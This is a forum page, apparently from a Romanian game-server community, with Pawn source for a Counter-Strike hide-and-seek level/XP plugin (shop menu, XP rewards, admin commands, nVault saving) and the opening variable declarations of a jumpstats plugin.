	if(get_pcvar_num(hnsxp_savexp) == 1)	LoadData(id);
	
	
	
	awp[id]=0
	respawn[id]=0
	accesari[id]=0
	has_godmode[id]=false
	has_gravity[id]=false
}

public client_disconnected(id)
{
	if(get_pcvar_num(hnsxp_savexp) == 1)	SaveData(id);
	
	hnsxp_playerxp[id] = 0; // de scos +
	hnsxp_playerlevel[id] = 0;
	
	
	awp[id]=0
	respawn[id]=0
	accesari[id]=0
	has_godmode[id]=false
	has_gravity[id]=false
}
public ShowMenu(id)
{
	if(accesari[id]>2)
	{
		MesajColorat(id, "!echipa[Level Mod] !verdePoti accesa acest!echipa Menu!verde doar de!echipa 3!verde ori pe!echipa Runda!verde!")
		return PLUGIN_HANDLED
	}


	static menu[512], len 
	len = 0 

	
	len += formatex(menu[len], charsmax(menu) - len, "\w[\r HNS.PLAY-ARENA.RO\w -\r lvlpower \w]^n^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r AWP [\w1\r] [\wGL\r] [\wx2\r] [\wRUNDE\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w2\r]\w -\r Respawn [\w1\r] [\wx2\r] [\wRUNDE\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w3\r]\w -\r Gravity [\w450\r] [\w30\r] [\wSEC\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w4\r]\w -\r GodMode [\w20\r] [\wSEC\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w5\r]\w -\r AK47 [\w2GL\r]^n^n") 
	show_menu(id, KEYSMENU, menu, -1, "Game Menu") 
	
/*
	gRadioMenu = menu_create ( "[\r HNS.PLAY-ARENA.RO\w -\r lvlpower ]" , "radio" );

	menu_additem ( gRadioMenu , "-[1] - AWP [1] [GL] [x2] [RUNDE]" , "1" );
	menu_additem ( gRadioMenu , "-[2] - Respawn [1] [x2] [RUNDE]" , "2" );
	menu_additem ( gRadioMenu , "-[3] - Gravity [450] [30] [SEC]" , "3" );
	menu_additem ( gRadioMenu , "-[4] - GodMode [20] [SEC]" , "4" );
	menu_additem ( gRadioMenu , "-[5] - AK47 [2GL]" , "5" );
	
	menu_setprop ( gRadioMenu , MPROP_EXIT , MEXIT_ALL );

	menu_display ( id , gRadioMenu );
*/


	return 1;
}
public radio ( id , key  /*, Menu , Item*/ )
{
	/*if ( Item < 0 )
	{
		return 0;
	}

	new Key [ 3 ];

	new Access , CallBack;

	menu_item_getinfo ( Menu , Item , Access , Key , 2 , _ , _ , CallBack );

	new isKey = str_to_num ( Key );*/

	switch ( key/*isKey*/ )
	{
		case 0:
		{
			if(!is_user_alive(id))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			if(user_has_weapon(id,CSW_AWP))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AWP")
				return PLUGIN_HANDLED
			}

			if ( awp [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 AWP^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", awp [ id ], awp [ id ] == 1 ? "a" : "e" );
				return PLUGIN_HANDLED;
			}
			else
			{
				give_item(id,"weapon_awp")
				new eNtry = find_ent_by_owner ( -1, "weapon_awp", id );

				if ( eNtry )
				{
					cs_set_weapon_ammo ( eNtry, 1 );
					if(cs_get_user_bpammo(id,eNtry)>0)	cs_set_user_bpammo(id,eNtry,0)
				}
				awp[id]=3
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 AWP^1 cu^4 1 GLONT")
				accesari[id]++
			}
		}

		case 1:
		{
			if(is_user_alive(id))
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Esti deja in^3 Viata^4!" );
				return PLUGIN_HANDLED;
			}
			if ( respawn [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 RESPAWN^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", respawn [ id ], respawn [ id ] == 1 ? "a" : "e" );
				return PLUGIN_HANDLED;
			}
			else
			{
				ExecuteHamB ( Ham_CS_RoundRespawn, id );
				respawn[id]=3
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 RESPAWN")
				accesari[id]++
			}
		}
		
		case 2:
		{
			if(!is_user_alive(id))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}
		
			if(has_gravity[id])
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 Gravitiatie")
				return PLUGIN_HANDLED
			}
			else
			{
				has_gravity[id]=true
				Gravity=450.0/500.0
				set_user_gravity(id,Gravity)
				set_task(30.0,"REMOVE_GRAVITY",id)
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 Gravitatie^1 pentru^4 30 Secunde")
				accesari[id]++
			}
		}
		
		case 3:
		{
			if(!is_user_alive(id))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}
		
			if(has_godmode[id])
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 GodMode")
				return PLUGIN_HANDLED
			}
			else
			{
				has_godmode[id]=true
				set_user_godmode(id,1)
				set_task(20.0,"REMOVE_GODMODE",id)
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 GodMode^1 pentru^4 20 Secunde")
				accesari[id]++
			}
		}
		
		case 4:
		{
			if(!is_user_alive(id))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			if(user_has_weapon(id,CSW_AK47))
			{
				ColorChat(id,NORMAL,"^x04[HnS.Play-Arena.Ro]^x01 Ai deja^3 AK47")
				return PLUGIN_HANDLED
			}
		
			give_item(id,"weapon_ak47")
			new eNtry = find_ent_by_owner ( -1, "weapon_ak47", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 2 );
				if(cs_get_user_bpammo(id,eNtry)>0)	cs_set_user_bpammo(id,eNtry,0)
			}
			ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Ai primit^3 AK47^1 cu^4 2 GLOANTE")
			accesari[id]++
		}
	}
	return 1;
}
public CWeapon(id)//lient_PostThink(id)	+out din init
{
	if(is_user_alive(id)&&has_gravity[id])
	{
		Gravity=450.0/500.0
		if(get_user_weapon(id))	set_user_gravity(id,Gravity)
	}
}
public REMOVE_GRAVITY(id)
{
	if(is_user_connected(id)&&has_gravity[id])
	{
		has_gravity[id]=false
		remove_task(id)
		Gravity=1.0
		set_user_gravity(id,Gravity)
		ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Tocmai ti-a expirat^3 Gravitatia")
	}
}
public REMOVE_GODMODE(id)
{
	if(is_user_connected(id)&&has_godmode[id])
	{
		has_godmode[id]=false
		remove_task(id)
		set_user_godmode(id)
		ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Tocmai ti-a expirat^3 GodMod-ul")
	}
}


public gItem(id)
{
	switch(hnsxp_playerlevel[id])
	{
		case 1..19:
		{
			give_item(id, "weapon_hegrenade");
			give_item(id, "weapon_smokegrenade");

			give_item ( id, "weapon_deagle" );

			new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 1 );
			}

			set_user_health ( id, get_user_health ( id ) + 2 );
			remove_task(id);	
		}
		
		case 20..39:
		{
			give_item(id, "weapon_hegrenade");
			give_item(id, "weapon_smokegrenade");
			cs_set_user_bpammo(id, CSW_HEGRENADE, 2);
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 2);
			set_user_health ( id, get_user_health ( id ) + 5 );

			give_item ( id, "weapon_deagle" );

			new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 2 );
			}

			cs_set_user_bpammo(id, CSW_DEAGLE, 0);
			remove_task(id);
		}
		
		case 40..59:
		{
			give_item(id, "weapon_hegrenade");
			give_item(id, "weapon_smokegrenade");
			cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 3);
			set_user_health ( id, get_user_health ( id ) + 9 );

			give_item ( id, "weapon_deagle" );

			new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 3 );
			}

			cs_set_user_bpammo(id, CSW_DEAGLE, 0);
			remove_task(id);
		}
		
		case 60..79:
		{
			give_item(id, "weapon_hegrenade");
			give_item(id, "weapon_smokegrenade");
			cs_set_user_bpammo(id, CSW_HEGRENADE, 3);
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
			set_user_health ( id, get_user_health ( id ) + 12 );

			give_item ( id, "weapon_deagle" );

			new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 4 );
			}

			cs_set_user_bpammo(id, CSW_DEAGLE, 0);
			CurrentWeapon ( id );
			remove_task(id);                
		}
		
		case 80..100:
		{
			give_item(id, "weapon_hegrenade");
			give_item(id, "weapon_smokegrenade");
			cs_set_user_bpammo(id, CSW_HEGRENADE, 4);
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 4);
			set_user_health ( id, get_user_health ( id ) + 20 );

			give_item ( id, "weapon_deagle" );

			new eNtry = find_ent_by_owner ( -1, "weapon_deagle", id );

			if ( eNtry )
			{
				cs_set_weapon_ammo ( eNtry, 5 );
			}

			cs_set_user_bpammo(id, CSW_DEAGLE, 0);
			CurrentWeapon ( id );
			remove_task(id);               
		}
	}
}

public plvl(id)
{
	if ( is_user_connected ( id ) )
	{
		MesajColorat(id, "!echipa[Level Mod] !verdeLevel : !echipa %i , !verdeXP: !echipa %i / %i ", hnsxp_playerlevel[id], hnsxp_playerxp[id], LEVELS[hnsxp_playerlevel[id]]);
		//return PLUGIN_HANDLED
	}
}

public plvls(id)
{
	if ( !( is_user_connected ( id ) ) )
		return PLUGIN_CONTINUE

	new players[32], playersnum, name[40], motd[1024], len;
	
	len = formatex(motd, charsmax(motd), "<html><br >");
	get_players(players, playersnum);
	
	for ( new i = 0 ; i < playersnum ; i++ ) {
		get_user_name(players[i], name, charsmax(name));
		len += formatex(motd[len], charsmax(motd) - len, "<br> <center>[LEVEL %i] %s [XP %i / %i]</center> ",hnsxp_playerlevel[players[i]], name,  hnsxp_playerxp[players[i]], LEVELS[hnsxp_playerlevel[players[i]]]);
	}
	
	formatex(motd[len], charsmax(motd) - len, "</html>");
	show_motd(id, motd);
	return PLUGIN_HANDLED
}

public tlvl(id)
{
	new poj_Name [ 32 ];
	get_user_name(id, poj_Name, 31)
	MesajColorat(0, "!verde[!echipaLevel-Mod!verde] !normal Jucatorul !verde %s !normalare level !verde %i",poj_Name, hnsxp_playerlevel[id]);
	return PLUGIN_HANDLED
}

public hnsxp_death( iVictim, attacker, shouldgib )
{
	if( !attacker || attacker == iVictim || !iVictim || !( is_user_connected( attacker ) ) || !( is_user_connected( iVictim ) ) )
		return;

	if(hnsxp_playerxp[attacker] > 2000000000) // sau level mai mare de 100
		return;

	new szName[ 32 ];
	get_user_name( iVictim, szName, sizeof( szName ) -1 );
	
	hnsxp_playerxp[attacker] += get_pcvar_num(hnsxp_kill);
	MesajColorat(attacker,"!echipa[%s] !verdeAi primit %i XP pentru ca l-ai omorat pe %s!", PLUGIN_NAME, get_pcvar_num(hnsxp_kill), szName);
	
	if(get_user_flags(attacker) & ADMIN_IMMUNITY && get_pcvar_num(vip_enable))
	{
		hnsxp_playerxp[attacker] += get_pcvar_num(vip_xp);
		MesajColorat(attacker, "!echipa[%s]!verde Ai primit un bonus de %i xp pentru ca esti VIP !",PLUGIN_NAME,get_pcvar_num(vip_xp));
	}
}

/*
public client_putinserver(id)
{
		LoadData(id);
		
		if((hnsxp_playerlevel[id] < 100 && (hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]]))) //new..
		{
			while(hnsxp_playerxp[id] > LEVELS[hnsxp_playerlevel[id]])
			{
				hnsxp_playerlevel[id] += 1; // neb
			}
		}
}
*/


public SaveData(id)
{
	new PlayerName[35];
	get_user_name(id,PlayerName,34);
	
	new vaultkey[64],vaultdata[256];
	format(vaultkey,63,"%s",PlayerName);
	format(vaultdata,255,"%i%%%i%%",hnsxp_playerxp[id],hnsxp_playerlevel[id]); //??
	nvault_set(g_hnsxp_vault,vaultkey,vaultdata);
	return PLUGIN_CONTINUE;
}

public LoadData(id)
{
	new PlayerName[35];
	get_user_name(id,PlayerName,34);
	
	new vaultkey[64],vaultdata[256];
	format(vaultkey,63,"%s",PlayerName);
	format(vaultdata,255,"%i%%%i%%",hnsxp_playerxp[id],hnsxp_playerlevel[id]);
	nvault_get(g_hnsxp_vault,vaultkey,vaultdata,255);
	
	replace_all(vaultdata, 255, "%%", " "); //??
	
	new playerxp[32], playerlevel[32];
	
	parse(vaultdata, playerxp, 31, playerlevel, 31);
	
	hnsxp_playerxp[id] = str_to_num(playerxp);
	hnsxp_playerlevel[id] = str_to_num(playerlevel);
	
	return PLUGIN_CONTINUE;
}

public cmd_give_level(id, level, cid)
{
	if(!cmd_access(id, level, cid, 3))
		return PLUGIN_HANDLED
	
	new target[32], amount[21], reason[21]
	
	read_argv(1, target, 31)
	read_argv(2, amount, 20)
	read_argv(3, reason, 20)
	
	new player = cmd_target(id, target, 8)
	
	if(!player)
		return PLUGIN_HANDLED
	
	new admin_name[32], player_name[32]
	get_user_name(id, admin_name, 31)
	get_user_name(player, player_name, 31)
	
	new expnum = str_to_num(amount)

	if(expnum > 100)
		return PLUGIN_HANDLED

	//MesajColorat(0, "!echipaADMIN %s: !verdeia dat %s level lui %s", admin_name, amount, player_name)
	
	hnsxp_playerlevel[player] += expnum
	SaveData(id)
	
	return PLUGIN_CONTINUE
}

public cmd_give_xp(id, level, cid)
{
	if(!cmd_access(id, level, cid, 3))
		return PLUGIN_HANDLED
	
	new target[32], amount[21], reason[21]
	
	read_argv(1, target, 31)
	read_argv(2, amount, 20)
	read_argv(3, reason, 20)
	
	new player = cmd_target(id, target, 8)
	
	if(!player)
		return PLUGIN_HANDLED
	
	new admin_name[32], player_name[32]
	get_user_name(id, admin_name, 31)
	get_user_name(player, player_name, 31)
	
	new expnum = str_to_num(amount)

	if(expnum > 2000000000)
		return PLUGIN_HANDLED

	//MesajColorat(0, "!echipaADMIN %s: !verdeia dat %s xp lui %s", admin_name, amount, player_name)
	
	hnsxp_playerxp[player] += expnum
	SaveData(id)
	
	return PLUGIN_CONTINUE
}

public cmd_take_level(id, level, cid)
{
	if(!cmd_access(id, level, cid, 3))
		return PLUGIN_HANDLED
	
	new target[32], amount[21], reason[21]
	
	read_argv(1, target, 31)
	read_argv(2, amount, 20)
	read_argv(3, reason, 20)
	
	new player = cmd_target(id, target, 8)
	
	if(!player)
		return PLUGIN_HANDLED
	
	new admin_name[32], player_name[32]
	
	get_user_name(id, admin_name, 31)
	get_user_name(player, player_name, 31)
	
	new expnum = str_to_num(amount)
	//MesajColorat(0, "!echipaADMIN %s: !verdeia luat %s level lui %s", admin_name, amount, player_name)
	
	hnsxp_playerlevel[player] -= expnum
	SaveData(id)
	
	return PLUGIN_CONTINUE
}

public cmd_take_xp(id, level, cid)
{
	if(!cmd_access(id, level, cid, 3))
		return PLUGIN_HANDLED
	
	new target[32], amount[21], reason[21]
	
	read_argv(1, target, 31)
	read_argv(2, amount, 20)
	read_argv(3, reason, 20)
	
	new player = cmd_target(id, target, 8)
	
	if(!player)
		return PLUGIN_HANDLED
	
	new admin_name[32], player_name[32]
	
	get_user_name(id, admin_name, 31)
	get_user_name(player, player_name, 31)
	
	new expnum = str_to_num(amount)
	//MesajColorat(0, "!echipaADMIN %s: !verdeia luat %s level lui %s", admin_name, amount, player_name)
	
	hnsxp_playerxp[player] -= expnum
	SaveData(id)
	
	return PLUGIN_CONTINUE
}

public t_win(id)
{
	new iPlayer [  32 ], iNum;
	get_players(iPlayer, iNum, "ae", "TERRORIST")
	for ( new i = 0; i < iNum; i++ ) {
		hnsxp_playerxp[iPlayer [ i ]] += get_pcvar_num(tero_win);
		MesajColorat(iPlayer[i], "!echipa[Level Mod] !verdeAi primit !echipa %i xp !verde pentru ca echipa !echipaT !verdea castigat !",get_pcvar_num(tero_win));

		if(hnsxp_playerlevel[iPlayer[i]] > 2000000000) // sau level mai mare de 100
			return;
	}
}

public ClientUserInfoChanged(id)
{
	static const name[] = "name"
	static szOldName[32], szNewName[32]
	pev(id, pev_netname, szOldName, charsmax(szOldName))
	if( szOldName[0] )
	{
		get_user_info(id, name, szNewName, charsmax(szNewName))
		if( !equal(szOldName, szNewName) )
		{
			set_user_info(id, name, szOldName)
			ColorChat(id, TEAM_COLOR,"^1[^3 HnS.Ecila.Ro^1 ] Pe acest server nu este permisa schimbarea numelui!!!");
			return FMRES_HANDLED
		}
	}
	return FMRES_IGNORED
}

public CurrentWeapon ( id ) {
	
	switch ( hnsxp_playerlevel [ id ] ) {
		
		case 60..79: set_user_maxspeed ( id, 270.0 );
		
		case 80..100: set_user_maxspeed ( id, 300.0 );
	}
}

public cmdLevels ( id ) {
	
	new i, count;
	static sort [ 33 ] [ 2 ], maxPlayers;
	
	if ( !maxPlayers ) maxPlayers = get_maxplayers ( );
	
	for ( i= 1; i <= maxPlayers; i++ )
	{
		sort [ count ][ 0 ] = i;
		sort [ count ][ 1 ] = hnsxp_playerlevel [ i ];
		count++;
	}
	
	SortCustom2D ( sort,count, "stats_custom_compare" );
	
	new motd [ 1024 ], len;
	
	len = format ( motd, 1023, "<body bgcolor=#black><center><font color=#black><pre>" );
	len += format ( motd [ len ], 1023-len,"%s %-22.22s %3s^n", "#", "Name", "Level" );
	
	new players [ 32 ], num;
	get_players ( players, num );
	
	new b = clamp ( count,0,get_playersnum ( ) );
	
	new name [ 32 ], player;
	
	for ( new a = 0; a < b; a++ )
	{
		player = sort [ a ] [ 0 ];
		
		get_user_name ( player, name, 31 );		
		len += format ( motd [ len ], 1023-len,"%d %-22.22s %d^n", a+1, name, sort [ a ] [ 1 ] );
	}
	
	len += format ( motd [ len ], 1023-len,"</body></font></pre></center>" );
	show_motd(  id, motd, "Player's Level" );
	
	return PLUGIN_CONTINUE;
}

public stats_custom_compare ( elem1 [ ], elem2 [ ] ) {
	
	if ( elem1 [ 1 ] > elem2 [ 1 ] ) return -1;
	else if ( elem1 [ 1 ] < elem2 [ 1 ] ) return 1;
		
	return 0;
}

stock MesajColorat(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[191]
	vformat(msg, 190, input, 3)
	
	replace_all(msg, 190, "!verde", "^4")
	replace_all(msg, 190, "!normal", "^1")
	replace_all(msg, 190, "!echipa", "^3")
	
	if (id) players[0] = id; else get_players(players, count, "ch")
	{
	for (new i = 0; i < count; i++)
	{
		if (is_user_connected(players[i]))
		{
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
			write_byte(players[i]);
			write_string(msg);
			message_end();
		}
	}
}
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/

Re: Pack plugine hns noi/refăcute/sau „speciale” + github

Posted: 02 Jun 2019, 11:10
by Infamous2017

Code: Select all

/*
	stats by kzuq^BorJomi 
	version 2.42
	
	Big thanks developers of kz_ljs_xm and Exolent
	
	Visit  http://unique-kz.com/
	
		2011 year
*/

#include <amxmodx>
#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <engine>
#include <cstrike>
#include <hamsandwich>
#include <celltrie>
#include <uq_jumpstats_const.inc>
#include <uq_jumpstats_stocks.inc>
#include <dhudmessage>
#include <colorchat>

#define VERSION "2.42"
//#pragma semicolon 1

////////////////////////////////////Some shit varibeles////////////////////////////////////
new dd_sync[33],angles_arry[33],Float:old_angles[33][3],lost_frame_count[33][NSTRAFES],line_lost[33][NSTRAFES][NVAR],FullJumpFrames[33],heystats,max_players,bool:duckbhop_bug_pre[33],bool:dropupcj[33],Float:first_duck_z[33],screenshoot,Float:checkladdertime[33],bool:ladderbug[33],bool:login[33];
new uq_istrafe,kz_uq_istrafe,bug_check[33],bool:bug_true[33],bool:find_ladder[33],bool:Checkframes[33],type_button_what[33][100];
new min_pre,beam_type[33],min_prestrafe[33],dropbhop[33],ddnum[33],bool:dropaem[33],bool:ddforcj[33];
new kz_uq_min_other,bool:slide_protec[33],bool:UpcjFail[33],bool:upBhop[33],Float:upheight[33];
new beam_entity[33][NVAR],ent_count[33],kz_uq_extras,sql_stats,kz_sql,g_sql_pid[33],kz_top_rank_by,kz_uq_block_top;

new bool:height_show[33],bool:firstfall_ground[33],framecount[33],bool:firstladder[33];
new Float:FallTime[33],Float:FallTime1[33],multiscj[33],multidropcj[33],bool:enable_sound[33];
new jumpblock[33],Float:edgedist[33];
new bool:failed_jump[33],bool:started_multicj_pre[33],bool:sync_doubleduck[33],bhop_num[33],bool:Show_edge_Fail[33],bool:Show_edge[33],bool:fps_hight[33],bool:first_ground_bhopaem[33];

new line_erase[33][NSTRAFES],line_erase_strnum[33];

new max_edge,min_edge,NSTRAFES1,max_strafes,Float:nextbhoptime[33],Float:bhopaemtime[33],Float:ground_bhopaem_time[33],Float:SurfFrames[33],Float:oldSurfFrames[33],bool:first_air[33];
new bool:preessbutton[33],button_what[33],bool:gBeam_button[33][100],gBeam_button_what[33][100];
new bool:h_jumped[33],Float:heightoff_origin[33],web_stats,Float:x_heightland_origin[33],bool:x_jump[33],Float:laddertime[33],bool:edgedone[33];
new schetchik[33],Float:changetime[33],bool:edgeshow[33],bool:slide[33],pre_type[33][33];

new bool:ingame_strafe[33],bool:ljpre[33],Float:distance[33],detecthj[33],bool:doubleduck[33];
new Float:doubletime[33],bool:multibhoppre[33],kz_uq_fps,bool:duckbhop[33],MAX_DISTANCE,Float:upbhop_koeff[33];
new Float:rDistance[3],Float:frame2time,bool:touch_ent[33],bool:ddbeforwj[33],bool:gHasColorChat[33],Float:old_angle1[33];
new bool:g_lj_stats[33],strafe_num[33],bool:g_Jumped[33],bool:g_reset[33],ljsDir[64],ljsDir_weapon[8][64],ljsDir_block[64],Float:gBeam_points[33][100][3],gBeam_duck[33][100],gBeam_count[33];

new gBeam,waits[33],waits1[33],Float:slideland[33],bool:backwards[33],bool:hookcheck[33],Float:timeonground[33];
new map_dist[NTOP+1],map_syncc[NTOP+1],map_maxsped[NTOP+1], map_prestr[NTOP+1],map_names[NTOP+1][33],map_ip[NTOP+1][33],map_streif[NTOP+1],map_type[NTOP+1][33];
new kz_uq_lj,kz_uq_cj,kz_uq_dcj,kz_uq_mcj ,kz_uq_ladder,kz_uq_ldbj,kz_uq_bj,kz_uq_sbj,kz_uq_drbj,kz_uq_drsbj,kz_uq_drcj,kz_uq_wj;	

new oldpre[33],oldljpre[33],oldfail[33],Float:starthj[33][3],Float:stophj[33][3], Float:endhj[33][3];
new bool:landslide[33],strafecounter_oldbuttons[33],Float:Fulltime,Float:needslide[33],Float:groundslide[33];
new jj,sync_[33],goodSyncTemp,badSyncTemp,strafe_lost_frame[33][NSTRAFES],Float:time_,Float:strafe_stat_time[33][NSTRAFES],Float:strafe_stat_speed[33][NSTRAFES][2];
new strafe_stat_sync[33][NSTRAFES][2],strLen,strMess[40*NSTRAFES],strMessBuf[40*NSTRAFES],team[33];

new bool:g_pBot[33],strL,strM[40*NSTRAFES],strMBuf[40*NSTRAFES],Float:firstvel[33],Float:secvel[33],Float:firstorig[33][3],Float:secorig[33][3];
new Float:speed[33], Float:TempSpeed[33],Float:statsduckspeed[33][500]; 
new bool:slidim[33],Float:slidedist[33],edgefriction,mp_footsteps,sv_cheats,sv_airaccelerate,sv_maxspeed,sv_stepsize,sv_maxvelocity,sv_gravity;

new kz_min_dcj,kz_stats_x,kz_stats_y,Float:stats_x,Float:stats_y,taskslide[33],taskslide1[33],bool:failslide[33];
new Float:failslidez[33],kz_strafe_x,kz_strafe_y,Float:strafe_x,Float:strafe_y,Float:laddist[33],kz_duck_x;
new kz_duck_y,Float:duck_x,Float:duck_y,bool:bhopaem[33],bool:nextbhop[33],kz_stats_red,kz_stats_green, kz_stats_blue, kz_failstats_red,kz_failstats_green;
new kz_failstats_blue, kz_sounds, kz_airaccelerate,kz_uq_url,kz_prefix,kz_legal_settings;

new kz_good_lj,kz_pro_lj,kz_holy_lj,kz_leet_lj,kz_god_lj,kz_good_bj,kz_pro_bj,kz_holy_bj,kz_leet_bj,kz_god_bj;
new kz_good_cj,kz_pro_cj,kz_holy_cj,kz_leet_cj,kz_god_cj,kz_good_wj,kz_pro_wj,kz_holy_wj,kz_leet_wj,kz_god_wj;
new kz_good_dbj,kz_pro_dbj, kz_holy_dbj,kz_leet_dbj, kz_god_dbj,kz_good_scj,kz_pro_scj, kz_holy_scj,kz_leet_scj, kz_god_scj;
new kz_good_ladder,kz_pro_ladder,kz_holy_ladder, kz_leet_ladder,kz_god_ladder,kz_good_dcj,kz_pro_dcj,kz_holy_dcj,kz_leet_dcj,kz_god_dcj;

new kz_god_duckbhop,kz_holy_duckbhop,kz_pro_duckbhop,kz_good_duckbhop,kz_good_dropscj,kz_pro_dropscj,kz_holy_dropscj,kz_leet_dropscj,kz_god_dropscj;
new kz_good_real,kz_pro_real,kz_holy_real,kz_leet_real,kz_god_real,kz_good_bhopinduck,kz_pro_bhopinduck,kz_holy_bhopinduck,kz_leet_bhopinduck,kz_god_bhopinduck;
new kz_god_upbj,kz_leet_upbj,kz_good_upbj, kz_pro_upbj,kz_holy_upbj,kz_god_upsbj,kz_leet_upsbj,kz_good_upsbj, kz_pro_upsbj,kz_holy_upsbj;
new kz_uq_dscj,kz_uq_mscj,kz_leet_duckbhop,kz_uq_dropscj,kz_uq_dropdscj,kz_uq_dropmscj,kz_uq_duckbhop,kz_uq_bhopinduck,kz_uq_realldbhop,kz_uq_multibhop,kz_uq_upbj,kz_uq_upbhopinduck,kz_uq_upsbj,kz_uq_dropdcj,kz_uq_dropmcj;

new user_block[33][2],Float:slidez[33][4][3],prefix[64];

new CjafterJump[33],bool:ddafterJump[33],bool:cjjump[33],bool:serf_reset[33],entlist[256],ent,nLadder,Float:ladderxyz[256][3],Float:ladderminxyz[256][3], Float:laddersize[256][3], nashladder,bool:ladderjump[33];
new bool:kz_stats_pre[33], bool:kz_beam[33],bool:showpre[33],bool:showjofon[33],bool:speedon[33],bool:jofon[33];

new Float:dropbjorigin[33][3], Float:falloriginz[33],Float:origin[3],ducks[33], movetype[33];
static Float:maxspeed[33], Float:prestrafe[33],JumpType:jump_type[33],JumpType:old_type_dropbj[33], frames[33], frames_gained_speed[33], bool:turning_left[33];
static bool:turning_right[33],bool:started_cj_pre[33],bool:in_duck[33], bool:in_bhop[33],bool:in_air[33],bool:in_ladder[33];
new bool:player_admin[33],bool:failearly[33],bool:firstshow[33],bool:first_onground[33],bool:notjump[33],bool:OnGround[33],bool:donehook[33];

new bool:streifstat[33],Jtype[33][33],Jtype1[33][33],Jtype_old_dropbj[33][33],Jtype_old_dropbj1[33][33],Float:weapSpeed[33],Float:weapSpeedOld[33];
new airacel[33][33],bool:firstfr[33],kz_speed_x,kz_speed_y,hud_stats,hud_streif,hud_pre,hud_duck,hud_speed; 
new kz_uq_connect,kz_uq_light,bool:duckstring[33],kz_uq_top,kz_uq_maptop,bool:showduck[33],Float:surf[33];
new bool:first_surf[33],oldjump_type[33],oldjump_typ1[33],jump_typeOld[33],mapname[33],Float:duckstartz[33],direct_for_strafe[33];
new Float:height_difference[33],kz_uq_team,bool:jumpoffirst[33],bool:posibleScj[33];
new kz_uq_noslow,kz_prest_x,kz_prest_y,kz_speed_r,kz_speed_g,kz_speed_b,kz_prest_r,kz_prest_g,kz_prest_b;

new weapon_top,bool:touch_somthing[33],record_start[33],allow_info;
new showtime_st_stats[33];

new Float:jof[33],weapon_block_top;

new g_playername[33][64], g_playersteam[33][35], g_playerip[33][16], rankby,plugin_ver[33];

new ljsDir_block_weapon[8][64],uq_host,uq_user,uq_pass,uq_db,Handle:DB_TUPLE,Handle:SqlConnection,g_error[512],sql_Cvars_num[SQLCVARSNUM];
new sql_JumpType[33];
new Trie:JData,Trie:JData_Block,Float:oldjump_height[33],Float:jheight[33],bool:jheight_show[33];

new uq_lj,uq_cj,uq_dcj,uq_mcj,uq_ladder,uq_ldbj,uq_bj,uq_sbj,uq_drbj,uq_drsbj,uq_drcj;	
new uq_wj,uq_dscj,uq_mscj,uq_dropscj,uq_dropdscj,uq_dropmscj,uq_duckbhop,uq_bhopinduck;
new uq_realldbhop,uq_upbj,uq_upbhopinduck,uq_upsbj,uq_multibhop,uq_dropdcj,uq_dropmcj;
new dcj_god_dist,dcj_leet_dist,dcj_holy_dist,dcj_pro_dist,dcj_good_dist;
new lj_god_dist,lj_leet_dist,lj_holy_dist,lj_pro_dist,lj_good_dist;
